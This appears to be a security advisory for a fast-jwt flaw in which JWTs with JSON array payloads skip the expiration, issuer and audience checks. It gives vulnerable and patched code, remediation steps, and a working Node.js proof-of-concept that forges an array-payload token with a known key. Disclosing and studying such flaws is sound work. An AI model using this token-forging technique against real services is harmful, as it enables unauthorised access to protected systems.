CVE-2026-107723: Silent Claim-Validator Bypass in NearForm fast-jwt via Array Payload Type Confusion

The fast-jwt library is an optimized, high-performance JSON Web Token (JWT) implementation developed by NearForm for the Node.js ecosystem. In production environments, systems leverage this library to handle high-throughput authentication and authorization processes. Because token validation is the primary barrier protecting restricted backend services, any flaw in the verification logic exposes the entire application context to unauthorized access.

The vulnerability, designated as CVE-2026-107723, represents a severe flaw categorized under CWE-1287 (Improper Validation of Specified Type of Input). Specifically, the library's decoder fails to enforce that a JWT payload must be a JSON object, accepting JSON arrays instead. This structural discrepancy introduces type confusion downstream during the security verification phase.

When an attacker provides a validly signed JWT with an array payload, the token successfully passes signature verification. However, the system silently bypasses all subsequent safety checks, including expiration, issuer, and audience validations. Consequently, the application processes the unvalidated payload as authenticated, leading to complete security control bypasses.

The underlying flaw stems from a fundamental quirk in JavaScript's type evaluation model combined with a structural standard mismatch. RFC 7519 explicitly mandates that the JWT Claims Set must be a JSON object. However, JavaScript’s typeof operator evaluates arrays as objects, meaning that typeof [] evaluates to 'object'. Because the initial parser did not explicitly reject array-shaped payloads, they successfully satisfied the type check and advanced into the verification lifecycle.

Once the array payload enters the verifier module, the claim validation loop begins evaluating standard configuration limits. The verifier checks whether specific claims exist in the payload using the JavaScript in operator. While this operator checks for keys inside standard objects, its behavior on arrays is fundamentally different.

When executed against an array, the in operator checks if the specified string matches either a numeric index or a built-in array property. Because security claims such as 'exp', 'nbf', 'iss', or 'aud' are strings and do not map to numeric indexes, expressions like 'exp' in payload consistently evaluate to false. The validation loop interprets this false result as the absence of the claim, causing the library to silently skip the security check and successfully approve the token.

To understand the vulnerability, it is necessary to examine the original implementation of the validation logic within the parser module. In vulnerable versions of fast-jwt, the validation statement was designed to reject non-object payloads. However, due to the type evaluation quirk, the validation successfully executed without raising an error when a JSON array was submitted.

// Vulnerable code in src/decoder.js
if (!payload || typeof payload !== 'object') {
  throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}

The official security patch introduced in commit 86e83efd8b5244f50859532d99244f0a9a9a4368 resolves this logic gap by appending an explicit check for arrays. By combining the typeof check with Array.isArray(), the library safely blocks arrays from entering the verifier stage.

// Patched code in src/decoder.js
if (!payload || typeof payload !== 'object' || Array.isArray(payload)) {
  throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}

This explicit check ensures that array-shaped structures are safely rejected during the decoding stage before any signature or claim verification takes place. This modification restricts the allowed payloads strictly to valid JSON objects, aligning the library with the specifications of RFC 7519.

Exploiting this vulnerability requires that an attacker present a validly signed token containing a JSON array payload. In typical environments, an attacker might obtain this by exploiting an endpoint that signs user-controlled JSON or by leveraging key-compromise or algorithm-confusion scenarios. For instance, if symmetric validation is incorrectly enabled alongside asymmetric public keys, an attacker can sign the token locally using the server's public key.

The attacker structures the JWT Claims Set as a serialized JSON array instead of a JSON object. This array is then encoded using standard Base64url and appended with a signature generated via the appropriate cryptographic algorithm. When the target server receives this token, the fast-jwt library successfully verifies the signature but silently ignores all security-critical checks like expiration dates.

A functional proof-of-concept script illustrates how a forged array-payload token successfully bypasses verification configured with strict issuer and audience controls:

const { createHmac } = require('node:crypto');
const { createVerifier } = require('fast-jwt');
 
function forgeArrayPayloadToken(key, payload = ['attacker', 'role:admin']) {
  const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
  const encodedPayload = Buffer.from(JSON.stringify(payload)).toString('base64url');
  const signingInput = `${header}.${encodedPayload}`;
  const signature = createHmac('sha256', key).update(signingInput).digest('base64url');
  return `${signingInput}.${signature}`;
}
 
const key = 'shared-secret';
const forgedToken = forgeArrayPayloadToken(key);
 
const verifier = createVerifier({
  key,
  allowedIss: ['legit-issuer'],
  allowedAud: ['legit-audience']
});
 
try {
  const decoded = verifier(forgedToken);
  console.log('Bypass Success:', decoded);
} catch (err) {
  console.log('Rejected:', err.message);
}

The primary remediation step is to upgrade the fast-jwt dependency to version 6.3.0 or higher, which completely resolves the type-confusion flaw. If upgrading immediately is not possible due to dependency constraints or system freeze policies, a viable workaround is available within the library's existing API configuration.

Developers can mitigate this bypass by specifying the requiredClaims option within the createVerifier parameters. Specifying parameters such as requiredClaims: ['exp', 'iss'] forces the validation engine to explicitly assert the existence and structural validity of these keys. When an array-shaped payload is passed, the verification logic will fail the assertion and throw an error, preventing the silent bypass.

Additionally, organizations can implement a layer of defense-in-depth by employing a Web Application Firewall (WAF) rule to intercept and block array-payload JWTs. A standard JWT payload begins with a JSON object, which serializes in Base64url as ey. Conversely, a JSON array payload serializes with the starting characters Wy. A regular expression can detect and drop these invalid structures at the network perimeter.